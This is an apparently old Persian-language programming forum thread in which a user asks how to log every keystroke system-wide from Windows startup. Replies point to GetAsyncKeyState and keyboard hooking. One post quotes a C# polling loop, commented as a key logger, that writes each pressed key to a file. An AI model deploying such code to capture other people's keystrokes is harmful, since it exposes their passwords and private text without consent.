PDA

View Full Version : ثبت کلید زده شده توسط کاربر



application_13
سه شنبه 09 بهمن 1386, 11:50 صبح
سلام دوستان.
میخواستم کدی بنویسم که هر وقت کاربر دکمه ای رو زد در یک فایل txt یا یه db ذخیره کنه.
یعنی میخوام هر کلیدی رو زد ثبت شه.

sinpin
سه شنبه 09 بهمن 1386, 12:02 عصر
سلام دوستان.
میخواستم کدی بنویسم که هر وقت کاربر دکمه ای رو زد در یک فایل txt یا یه db ذخیره کنه.
یعنی میخوام هر کلیدی رو زد ثبت شه.
سلام
من قبلا اینکار رو با یک API ویندوز انجام داده بودم به اسم GetAsyncKeyState اما نمیدونم الان هم بهترین روش همینه یا نه. در مورد این API جستجو کنید احتمالا نتایج خوبی بدست میارید.


(در پرانتر :
من فکر میکنم اگه سئوالات رو ماژول وار و دقیق و قطعی مطرح کنیم خیلی بهتر باشه. البته این نظر منه شاید هم 100% اشتباه باشه (و لزوما هم در مورد این تاپیک خاص نیست، اما یک جایی بالاخره باید مطرح میشد) برای مثال سئوالی که دوستمون طرح کنند در واقع 2 سئوال (سبز و قرمز) در قالب یک سئوال است که ربطی چندانی هم به هم ندارند. (یکی در مورد Api های ویندوز و دیگری در مورد ذخیره سازی)

من یک مثال برای طرح همین سئوال میزنم :
سئوال (شاید) بهتر : "در محیط ویندوز چطور میتونیم کلیدهای زده شده توسط کاربر را ثبت کنیم؟"
ضمن اینکه در سئوال بالا مشخصه که قراره کلیدهایی لاگ بشن که در محیط ویندوز و نه الزاما در یک برنامه خاص توسط کاربر زده میشن. این باعث میشه که از همون ابتدا پستهای بیهوده (مثلا در مورد true کردن خاصیت KeyPreview فرم یا نحوه ی باز کردن یک کانکشن جدید در دیتابیس ! و ... ) نوشته نشه.)

Himalaya
سه شنبه 09 بهمن 1386, 13:02 عصر
این برنامه (اگه بشه بهش گفت برنامه) توی درایو C یه فایل به اسم 01 میسازه از نوع TEXT و کلید زده شده رو میندازه توش.اگه این فایل ازقبل وجود داشته باشه توی ادامه متن کلید فشار داده شده از صفحه کلیدو قرار میده...
form که اومد بالا یه کلید از کیبوردو بزن بعد نتیجه رو نگاه کن(تو فایلی که تو درایو c ساخته میشه)...ببین اون چیزیه که میخوای یا نه... application_13 خودت که میدونی تازه کارم و بیشتر از این بلد نیستم...پس اگه به دردت نخورد شرمنده...

hdv212
سه شنبه 09 بهمن 1386, 13:30 عصر
به این حالت، keyboard hooking گفته میشه، که میتونی یه نمونه از مقاله شو در اینجا (http://www.codeproject.com/KB/system/KeyHook.aspx) ببینی.

hassan razavi
سه شنبه 09 بهمن 1386, 14:18 عصر
مثال پست 3 فقط کلیدهای فشرده شده در هنگامی که فوکوس در اختیار آن فرم هست رو ثبت میکنه ، در صورتی که فکر کنم منظور دوستمون ثبت کلیه کلیدهای فشرده شده سیستم هست و پست 4 روش صحیح رسیدن به منظورتون هست.

application_13
سه شنبه 09 بهمن 1386, 15:04 عصر
سلام دوستان.
من میخوام یه سرویس درست کنم و از زمانی که ویندوز بالا اومد و کاربر هر کلیدی رو زد ثبت شه.



hassan razavi (http://barnamenevis.org/forum/member.php?u=5419)
مثال پست 3 فقط کلیدهای فشرده شده در هنگامی که فوکوس در اختیار آن فرم هست رو ثبت میکنه ، در صورتی که فکر کنم منظور دوستمون ثبت کلیه کلیدهای فشرده شده سیستم هست و پست 4 روش صحیح رسیدن به منظورتون هست.
درسته آقای رضوی.


sinpin (http://barnamenevis.org/forum/member.php?u=6235)
(در پرانتر :
من فکر میکنم اگه سئوالات رو ماژول وار و دقیق و قطعی مطرح کنیم خیلی بهتر باشه. البته این نظر منه شاید هم 100% اشتباه باشه (و لزوما هم در مورد این تاپیک خاص نیست، اما یک جایی بالاخره باید مطرح میشد) برای مثال سئوالی که دوستمون طرح کنند در واقع 2 سئوال (سبز و قرمز) در قالب یک سئوال است که ربطی چندانی هم به هم ندارند. (یکی در مورد Api های ویندوز و دیگری در مورد ذخیره سازی)

من یک مثال برای طرح همین سئوال میزنم :
سئوال (شاید) بهتر : "در محیط ویندوز چطور میتونیم کلیدهای زده شده توسط کاربر را ثبت کنیم؟"
ضمن اینکه در سئوال بالا مشخصه که قراره کلیدهایی لاگ بشن که در محیط ویندوز و نه الزاما در یک برنامه خاص توسط کاربر زده میشن. این باعث میشه که از همون ابتدا پستهای بیهوده (مثلا در مورد true کردن خاصیت KeyPreview فرم یا نحوه ی باز کردن یک کانکشن جدید در دیتابیس ! و ... ) نوشته نشه.)
حق با شماست آقا سینا.

راستی دوستان من مقاله ای که دوستمون گذاشت رو دیدم. اما چون تازه کارم زیاد متوجه نشدم. اگه ممکن بود لطفا یکی از دوستان راهنمایی بفرمایند.

sinpin
سه شنبه 09 بهمن 1386, 15:21 عصر
شما کلمه ی GetAsyncKeyState رو سرچ کنید تو همین سایت

مثال : تاپیک زیر و پست شماره 11 رو ببینید :
http://barnamenevis.org/forum/showthread.php?t=10826

application_13
سه شنبه 09 بهمن 1386, 22:11 عصر
سلام.
سینا جان ممنون.من کدش رو خوندم. شما که به هرحال خودتون تو سی شارپ استادی هستید.
لطف کن یه مقداری توضیحات درمورده کداش بده.
ممنون.



[DllImportAttribute("user32")]
staticexternint GetAsyncKeyState(long vKey);

private System.ComponentModel.IContainer components;


char[] his=newchar[2];
int result=0;
privatevoid timer1_Tick(object sender, System.EventArgs e)
{

try
{
FileStream a=newFileStream(textBox1.Text,System.IO.FileMode.O penOrCreate,System.IO.FileAccess.Write);
try
{
StreamWriter b=newStreamWriter(a);

try
{
a.Position=a.Length;
}
catch{}
/*key logger*/
for (int i=1;i<255;i++)
{
result = 0;
try
{
result = GetAsyncKeyState(i);
}
catch{}
try
{
if (result == -32767)
{
b.Write((char)i);
his[0]=his[1];
his[1]=(char)i;
if ((his[0]=='¢')&&((his[1]== 'K')||(his[1]== 'k')))
{
System.Windows.Forms.MessageBox.Show("Left Ctrl+K pressed","HotKey DETECTED!");
this.Activate();
this.Show();
}
}

}
catch{}
}
b.Close();
}
catch{}
a.Close();
}
catch{}
}

البته اگه وقت کردی.

sarnev6t
سه شنبه 09 بهمن 1386, 22:43 عصر
منظور دقیق شما کلید های زده شده در محیط ویندوزه یا محیط فرم شما؟
برنامه ÷ست 5 مشکلتو تو محیط فرم حل میکنه

برنامه ای که توسط کرجی ارائه شده مشکل شمارو تویه محیط فرم حل میکنه!!

برنامه ای که karaji ارائه کرده مشکل شمارو تویه محیط فرم حل میکنه!!

mohammadkhan
چهارشنبه 10 بهمن 1386, 01:58 صبح
فکر کنم منظور دوستمون برنامه ای شبیه به برنامه Keylogger باشه؟؟؟!!!

sinpin
چهارشنبه 10 بهمن 1386, 07:47 صبح
سلام.
سینا جان ممنون.من کدش رو خوندم. شما که به هرحال خودتون تو سی شارپ استادی هستید.
لطف کن یه مقداری توضیحات درمورده کداش بده.

سلام
ای آقا! شما زیادی به بنده لطف دارید، من هم مثل شما یک دانشجو هستم (البته در یک دانشگاه شخصی! و سعی میکنم که همیشه دانشجو بمونم) اصلا هم از استادی و استاد بودن سر در نمیارم ! (خصوصا در مورد پدیده هایی مثل #C و dot net Framewrok)
در مورد کد (من تست نکردم) اما فکر میکنم چیز خاصی وجود نداره فقط اینکه از تابع GetAsyncKeyState واسه لاگ کردن کلیدها استفاده شده. شاید بهتر باشه به مستندات همین تابع در MSDN مراجعه کنید.


منظور دقیق شما کلید های زده شده در محیط ویندوزه یا محیط فرم شما؟
برنامه ÷ست 5 مشکلتو تو محیط فرم حل میکنه
برنامه ای که توسط کرجی ارائه شده مشکل شمارو تویه محیط فرم حل میکنه!!
برنامه ای که karaji ارائه کرده مشکل شمارو تویه محیط فرم حل میکنه!!
دوست عزیز آیا شما پست شماره 2 رو خوندید ؟!

"در محیط ویندوز چطور میتونیم کلیدهای زده شده توسط کاربر را ثبت کنیم؟"
در سئوال بالا مشخصه که قراره کلیدهایی لاگ بشن که در محیط ویندوز و نه الزاما در یک برنامه خاص توسط کاربر زده میشن. این باعث میشه که از همون ابتدا پستهای بیهوده (مثلا در مورد true کردن خاصیت KeyPreview فرم یا نحوه ی باز کردن یک کانکشن جدید در دیتابیس ! و ... ) نوشته نشه.
فکر میکنم کاملا بدیهی باشه که کسی در مورد نحوه ی لاگ کردن کلیدها در برنامه ی خودش مشکلی نداشته باشه !!!
دوستانی که این تاپیک رو میخونند لطفا پست شماره 2 رو هم نگاه کنند تا متوجه اشکال کار (در اغلب سئوال و جوابهای این سایت) بشن...